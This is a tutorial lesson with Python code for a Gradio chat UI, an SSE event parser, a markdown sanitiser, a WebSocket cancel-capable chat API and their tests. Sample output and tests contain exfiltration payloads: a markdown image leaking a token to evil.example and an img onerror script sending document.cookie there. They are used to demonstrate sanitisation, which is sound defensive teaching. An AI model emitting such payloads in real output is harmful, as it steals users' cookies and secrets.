Chat UIs & Streaming Transports

# script_id: day_079_chat_uis_streaming/first_chat
# Install: uv add gradio httpx2   Env: ATLAS_API_URL (default http://localhost:8000)
# Services: the Day 77 API must be running. Run: uv run python first_chat.py
import json
import os

import gradio as gr
import httpx2

API_URL = os.environ.get("ATLAS_API_URL", "http://localhost:8000")

def chat_fn(message: str, history: list[dict]):
    text, event = "", ""
    with httpx2.stream("POST", f"{API_URL}/v1/ask/stream", json={"question": message},
                       timeout=httpx2.Timeout(10.0, read=70.0)) as r:   # read > the 60 s API deadline
        for line in r.iter_lines():
            if line.startswith("event: "):
                event = line.removeprefix("event: ")
            elif line.startswith("data: ") and event == "token":
                text += json.loads(line.removeprefix("data: "))["text"]
                yield text              # the FULL text so far: Gradio replaces, it doesn't append

gr.ChatInterface(fn=chat_fn, title="Atlas").launch()

* Running on local URL:  http://127.0.0.1:7860

Same loop here on 3.2.0. ![status](https://evil.example/c?q=ORBIT_TOKEN_abc123)
<img src=x onerror="fetch('https://evil.example/'+document.cookie)">

# script_id: day_079_chat_uis_streaming/atlas_ui
# atlas/ui/app.py: the R5 chat UI, a thin client of the Day 77 API. It holds no model key.
# Install: uv add gradio httpx2 markdown-it-py   Env: ATLAS_API_URL (default http://localhost:8000)
# Services: the Day 77 API. Run: uv run python atlas_ui.py   (tests: test_ui.py, no server needed)
from __future__ import annotations

import json
import os
import re
import time
from collections.abc import Iterable, Iterator
from typing import Literal
from urllib.parse import urlsplit

import gradio as gr
import httpx2
from markdown_it import MarkdownIt
from pydantic import BaseModel, Field

API_URL = os.environ.get("ATLAS_API_URL", "http://localhost:8000")   # http://api:8000 in compose

class AgentEvent(BaseModel):                # compact copy of Day 77's frozen envelope
    seq: int = 0
    type: Literal["status", "token", "tool_call", "tool_result", "citation", "component",
                  "final", "error", "cancelled", "done"]
    data: dict = Field(default_factory=dict)

def iter_sse(lines: Iterable[str]) -> Iterator[AgentEvent]:
    """SSE lines -> AgentEvents. A blank line ends an event; ':' lines are comments (pings)."""
    event, data, seq = "", [], 0
    for line in lines:
        if not line:
            if event and data:
                yield AgentEvent(seq=seq, type=event, data=json.loads("\n".join(data)))
            event, data = "", []
        elif not line.startswith(":"):
            field, _, value = line.partition(":")
            value = value.removeprefix(" ")
            if field == "event":
                event = value
            elif field == "data":
                data.append(value)
            elif field == "id" and value.isdigit():
                seq = int(value)

# script_id: day_079_chat_uis_streaming/atlas_ui
# Compact copy of Day 71 safe_markdown(): markdown in, safe markdown out.
ALLOWED_HOSTS: frozenset[str] = frozenset({"docs.orbit.example", "github.com"})
_INLINE = re.compile(r'(!?)\[([^\]\n]*)\]\(\s*<?([^\s)>]*)>?(?:\s+"[^"\n]*")?\s*\)')
_REF_DEF = re.compile(r"^ {0,3}\[[^\]]+\]:\s*<?(\S+?)>?(?:\s+.*)?$", re.M)
_judge = MarkdownIt("commonmark", {"html": True}).enable("table")
_judge.validateLink = lambda url: True      # the judge sees every URL a lax renderer would

def is_allowed_url(url: str, allowed_hosts: frozenset[str] = ALLOWED_HOSTS) -> bool:
    try:
        parts = urlsplit(url.strip())
        parts.port                          # raises ValueError on a malformed port
    except ValueError:
        return False
    return parts.scheme == "https" and parts.hostname in allowed_hosts and parts.username is None

def _violations(md_text: str, allowed_hosts: frozenset[str]) -> list[str]:
    bad = []
    for block in _judge.parse(md_text):
        bad += [block.content] if block.type == "html_block" else []
        for tok in block.children or []:
            url = tok.attrGet("src") if tok.type == "image" else tok.attrGet("href")
            if tok.type == "html_inline" or (url is not None and not is_allowed_url(url, allowed_hosts)):
                bad.append(url or tok.content)
    return bad

def _fenced(text: str) -> str:
    """A code block no renderer interprets: the fence is longer than any backtick run inside."""
    fence = "`" * max(3, max((len(r) for r in re.findall(r"`+", text)), default=0) + 1)
    return f"{fence}text\n{text}\n{fence}"

def safe_markdown(text: str, *, allowed_hosts: frozenset[str] = ALLOWED_HOSTS) -> str:
    def fix(m: re.Match) -> str:
        bang, label, url = m.groups()
        return m.group(0) if is_allowed_url(url, allowed_hosts) else ("[image removed]" if bang else label)
    out = _INLINE.sub(fix, text.replace("<", "&lt;"))
    out = _REF_DEF.sub(lambda m: m.group(0) if is_allowed_url(m.group(1), allowed_hosts) else "", out)
    return _fenced(text) if _violations(out, allowed_hosts) else out   # fail closed

Same loop here on 3.2.0. [image removed]
<img src=x onerror="fetch('https://evil.example/'+document.cookie)">

# script_id: day_079_chat_uis_streaming/atlas_ui
_DOC_ID = re.compile(r"[a-z0-9][a-z0-9-]{0,80}")    # citation ids come from the API: still check

def _step(title: str, body: str) -> gr.ChatMessage:
    return gr.ChatMessage(content=body, metadata={"title": title[:80], "status": "done"})

def to_messages(events: list[AgentEvent]) -> list[gr.ChatMessage]:
    """Fold the event stream into collapsible steps followed by one sanitized answer."""
    steps: list[gr.ChatMessage] = []
    answer, cites, stopped = "", [], ""
    for e in events:
        d = e.data
        if e.type == "status" and "doc_ids" in d:
            steps.append(_step(f"Searched docs: {len(d['doc_ids'])} found", _fenced("\n".join(d["doc_ids"]))))
        elif e.type == "status":
            steps.append(_step(f"Step {d.get('step')}: {d.get('state', 'working')}", ""))
        elif e.type == "tool_call":   # args echo untrusted input: show them as inert code, truncated
            steps.append(_step(f"Tool: {d.get('name')}", _fenced(json.dumps(d.get("args"))[:500])))
        elif e.type == "tool_result" and steps:
            steps[-1].metadata["log"] = f"{d.get('chars', 0):,} chars back"
        elif e.type == "token":
            answer += d.get("text", "")
        elif e.type == "final" and "text" in d:     # investigate sends its answer whole
            answer = d["text"]
        elif e.type == "citation" and _DOC_ID.fullmatch(str(d.get("doc_id", ""))):
            cites.append(d["doc_id"])
        elif e.type in ("error", "cancelled"):
            stopped = str(d.get("code", e.type))
    if steps and not (events and events[-1].type in {"done", "error", "cancelled"}):
        steps[-1].metadata["status"] = "pending"    # spinner on the step that is still running
    body = safe_markdown(answer)
    if cites:
        body += "\n\nSources: " + ", ".join(f"`{c}`" for c in cites)
    if stopped:
        body += f"\n\n*Stopped: {stopped}*"
    return steps + ([gr.ChatMessage(content=body)] if body.strip() else [])

# script_id: day_079_chat_uis_streaming/atlas_ui
def _route(message: str) -> tuple[str, dict]:
    if m := re.fullmatch(r"\s*#(\d+)\s*", message):
        return "/v1/investigate/stream", {"issue_id": int(m.group(1))}
    return "/v1/ask/stream", {"question": message}

def chat_fn(message: str, history: list[dict]) -> Iterator[list[gr.ChatMessage]]:
    path, body = _route(message)            # history is unused: the Day 77 routes are single-turn
    events: list[AgentEvent] = []
    start, ttft = time.monotonic(), None
    try:
        with httpx2.stream("POST", API_URL + path, json=body,
                           timeout=httpx2.Timeout(10.0, read=130.0)) as r:   # > the 120 s agent deadline
            r.raise_for_status()
            for event in iter_sse(r.iter_lines()):
                if ttft is None and event.type in ("token", "final"):
                    ttft = time.monotonic() - start
                events.append(event)
                yield to_messages(events)   # Stop closes this generator, and `with` closes the HTTP stream
    except httpx2.HTTPError as exc:         # API down, 4xx/5xx, or a read timeout
        events.append(AgentEvent(type="error", data={"code": type(exc).__name__}))
    msgs = to_messages(events)
    if ttft is not None and msgs:
        msgs[-1].content += f"\n\n*TTFT {ttft:.1f} s*"
    yield msgs

# script_id: day_079_chat_uis_streaming/atlas_ui
def build_ui() -> gr.Blocks:
    chatbot = gr.Chatbot(height=560, sanitize_html=True, render_markdown=True)
    return gr.ChatInterface(               # ChatInterface is a gr.Blocks subclass
        fn=chat_fn, chatbot=chatbot, title="Atlas",
        description="Ask about Orbit, or type #209 to investigate an issue.",
        examples=["How do retries back off?", "#209"], cache_examples=False,
    )

if __name__ == "__main__":
    # In compose, set ATLAS_UI_HOST=0.0.0.0 so the container port is reachable (Day 82)
    build_ui().launch(server_name=os.environ.get("ATLAS_UI_HOST", "127.0.0.1"), server_port=7860)

# script_id: day_079_chat_uis_streaming/test_ui
# Install: uv add --dev pytest   Run: uv run pytest test_ui.py -q   (no key, no server)
from atlas_ui import AgentEvent, iter_sse, safe_markdown, to_messages

WIRE = ('event: status\ndata: {"step":"retrieved","doc_ids":["dashboard-auth-oidc"]}\nid: 1\n\n'
        ': ping\n\nevent: token\ndata: {"text":"Set `trusted_proxies`."}\nid: 2\n\n'
        'event: citation\ndata: {"doc_id":"dashboard-auth-oidc"}\nid: 3\n\n'
        'event: done\ndata: {}\nid: 4\n\n').split("\n")

def test_parser_skips_pings_and_keeps_ids() -> None:
    events = list(iter_sse(WIRE))
    assert [e.type for e in events] == ["status", "token", "citation", "done"]
    assert events[-1].seq == 4

def test_steps_then_answer_with_sources() -> None:
    msgs = to_messages(list(iter_sse(WIRE)))
    assert msgs[0].metadata["title"] == "Searched docs: 1 found"
    assert "Sources: `dashboard-auth-oidc`" in msgs[-1].content

def test_running_step_shows_spinner() -> None:
    msgs = to_messages([AgentEvent(type="status", data={"step": 1, "state": "thinking"})])
    assert msgs[0].metadata["status"] == "pending"

def test_remote_image_is_removed() -> None:
    assert "evil.example" not in safe_markdown("![x](https://evil.example/?q=SECRET)")

def test_raw_html_is_escaped() -> None:
    assert "<img" not in safe_markdown('<img src=x onerror="alert(1)">')

def test_allowed_link_and_code_survive() -> None:
    md = "See [retries](https://docs.orbit.example/retries-and-backoff).\n\n```toml\nmax = 3\n```"
    assert safe_markdown(md) == md

if __name__ == "__main__":
    tests = [f for n, f in dict(globals()).items() if n.startswith("test_")]
    for t in tests:
        t()
    print(f"{len(tests)} passed")

6 passed

# script_id: day_079_chat_uis_streaming/ws_api
# atlas/api/ws.py: a two-way chat socket next to the Day 77 SSE routes.
# Install: uv add fastapi "uvicorn[standard]"   Env: none (the stand-in producer needs no key)
# Run: uv run python ws_api.py   then, in a second terminal: uv run python ws_client.py
import asyncio
import logging
from collections.abc import AsyncGenerator, Callable
from typing import Literal

from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from pydantic import BaseModel, Field

log = logging.getLogger("atlas.ws")
AskStream = Callable[[str, int], AsyncGenerator["AgentEvent", None]]

class AgentEvent(BaseModel):                # compact copy of Day 77's frozen envelope
    seq: int = 0
    type: Literal["status", "token", "tool_call", "tool_result", "citation", "component",
                  "final", "error", "cancelled", "done"]
    data: dict = Field(default_factory=dict)

STATS = {"produced": 0, "closed": 0}       # lets tests prove the producer stopped

async def fake_ask_stream(question: str, top_k: int = 5) -> AsyncGenerator[AgentEvent, None]:
    """LABELLED STAND-IN for Day 77's services.ask_stream: ~50 canned tokens/s, no key."""
    try:
        yield AgentEvent(type="status", data={"step": "retrieved", "doc_ids": ["dashboard-auth-oidc"]})
        for i in range(200):
            await asyncio.sleep(0.02)       # stands in for waiting on the model
            STATS["produced"] += 1
            yield AgentEvent(type="token", data={"text": f"tok{i} "})
        yield AgentEvent(type="final", data={"usage": {"input_tokens": 900, "output_tokens": 200}})
    finally:
        STATS["closed"] += 1                # the real producer closes the OpenAI stream here

# script_id: day_079_chat_uis_streaming/ws_api
async def _pump(ws: WebSocket, events: AsyncGenerator[AgentEvent, None], n: dict) -> None:
    async for e in events:
        n["seq"] += 1
        n["tokens"] += e.type == "token"
        await ws.send_json(e.model_copy(update={"seq": n["seq"]}).model_dump())

async def _listen(ws: WebSocket) -> None:
    while (await ws.receive_json()).get("type") != "cancel":   # raises WebSocketDisconnect if gone
        await ws.send_json(AgentEvent(type="error", data={"code": "busy"}).model_dump())

async def answer_one(ws: WebSocket, events: AsyncGenerator[AgentEvent, None]) -> None:
    n = {"seq": 0, "tokens": 0}
    pump, listen = asyncio.create_task(_pump(ws, events, n)), asyncio.create_task(_listen(ws))
    try:
        done, _ = await asyncio.wait({pump, listen}, return_when=asyncio.FIRST_COMPLETED)
    finally:                                 # whatever happened, stop both and close upstream
        for t in (pump, listen):
            t.cancel()
        await asyncio.gather(pump, listen, return_exceptions=True)
        await events.aclose()
    if listen in done:
        listen.result()                      # re-raises WebSocketDisconnect if the client left
        log.info("cancelled after %d tokens", n["tokens"])
        await ws.send_json(AgentEvent(type="cancelled", data={"tokens": n["tokens"]}).model_dump())
    else:
        pump.result()                        # re-raises a producer error
        await ws.send_json(AgentEvent(type="done").model_dump())

async def ws_chat(websocket: WebSocket) -> None:
    await websocket.accept()
    try:
        while True:
            msg = await websocket.receive_json()
            if msg.get("type") == "ask" and str(msg.get("question", "")).strip():
                await answer_one(websocket, websocket.app.state.ask_stream(msg["question"], 5))
            elif msg.get("type") != "cancel":   # a late cancel after `done` is harmless
                await websocket.send_json(AgentEvent(type="error", data={"code": "bad_message"}).model_dump())
    except WebSocketDisconnect:              # catch this FIRST, before any broad handler
        log.info("client disconnected")      # answer_one already closed upstream
    except Exception:
        log.exception("ws failed")
        await websocket.close(code=1011)     # 1011 = internal error

def create_ws_app(ask_stream: AskStream | None = None) -> FastAPI:
    app = FastAPI(title="Atlas API (ws)")
    app.state.ask_stream = ask_stream or fake_ask_stream   # real: stub_services(client).ask_stream
    app.websocket("/v1/ws/chat")(ws_chat)
    return app

if __name__ == "__main__":
    import uvicorn
    logging.basicConfig(level=logging.INFO)
    uvicorn.run(create_ws_app(), host="127.0.0.1", port=8000)

# script_id: day_079_chat_uis_streaming/ws_client
# Install: uv add websockets   Env: ATLAS_WS_URL (default ws://localhost:8000/v1/ws/chat)
# Services: ws_api.py running. Run: uv run python ws_client.py
import json
import os
import time

from websockets.sync.client import connect

WS_URL = os.environ.get("ATLAS_WS_URL", "ws://localhost:8000/v1/ws/chat")   # no token in the URL

with connect(WS_URL) as ws:
    ws.send(json.dumps({"type": "ask", "question": "Why does OIDC login loop behind nginx?"}))
    start, sent_cancel = time.monotonic(), False
    while True:
        event = json.loads(ws.recv(timeout=30))
        if event["type"] == "token":
            print(event["data"]["text"], end="", flush=True)
        if not sent_cancel and time.monotonic() - start > 1.0:
            ws.send(json.dumps({"type": "cancel"}))     # the Stop button
            sent_cancel = True
        if event["type"] in ("done", "cancelled", "error"):
            print(f"\n[{event['type']}] {event['data']}")
            break

tok0 tok1 tok2 … tok46 tok47
[cancelled] {'tokens': 48}     (your count will differ)
# server log:
INFO:atlas.ws:cancelled after 48 tokens
INFO:atlas.ws:client disconnected

# script_id: day_079_chat_uis_streaming/stop_probe
# Stdlib only. Shows why a generator + `with` makes Stop close the upstream connection.
import contextlib
from collections.abc import Iterator

log: list[str] = []
pulled = 0

@contextlib.contextmanager
def fake_stream() -> Iterator[Iterator[str]]:      # stands in for httpx2.stream(...)
    def tokens() -> Iterator[str]:
        global pulled
        for i in range(1000):
            pulled += 1
            yield f"tok{i} "
    log.append("connection opened")
    try:
        yield tokens()
    finally:
        log.append("connection closed")            # httpx2 closes the socket here

def chat_fn(message: str) -> Iterator[str]:
    text = ""
    with fake_stream() as stream:
        for tok in stream:
            text += tok
            yield text

gen = chat_fn("hi")
for _ in range(5):
    next(gen)                                      # the UI renders five updates
at_stop = pulled
gen.close()                                        # what Gradio does when you press Stop
print(log, f"tokens after stop: {pulled - at_stop}")

['connection opened', 'connection closed'] tokens after stop: 0

# script_id: day_079_chat_uis_streaming/test_ws
# Install: uv add --dev pytest   Run: uv run pytest test_ws.py -q   (no key, no server)
from fastapi.testclient import TestClient

from ws_api import STATS, create_ws_app

def read_answer(ws) -> list[dict]:
    events = []
    while not events or events[-1]["type"] not in ("done", "cancelled", "error"):
        events.append(ws.receive_json())
    return events

def test_cancel_stops_upstream() -> None:
    STATS.update(produced=0, closed=0)
    with TestClient(create_ws_app()) as client, client.websocket_connect("/v1/ws/chat") as ws:
        ws.send_json({"type": "ask", "question": "Why does OIDC login loop?"})
        for _ in range(6):                  # status + 5 tokens
            ws.receive_json()
        ws.send_json({"type": "cancel"})
        last = read_answer(ws)[-1]
    assert last["type"] == "cancelled"
    assert STATS["closed"] == 1             # the producer's finally ran: upstream closed
    assert STATS["produced"] - last["data"]["tokens"] <= 1   # ~0 tokens generated after stop

if __name__ == "__main__":
    test_cancel_stops_upstream()
    print("1 passed")

1 passed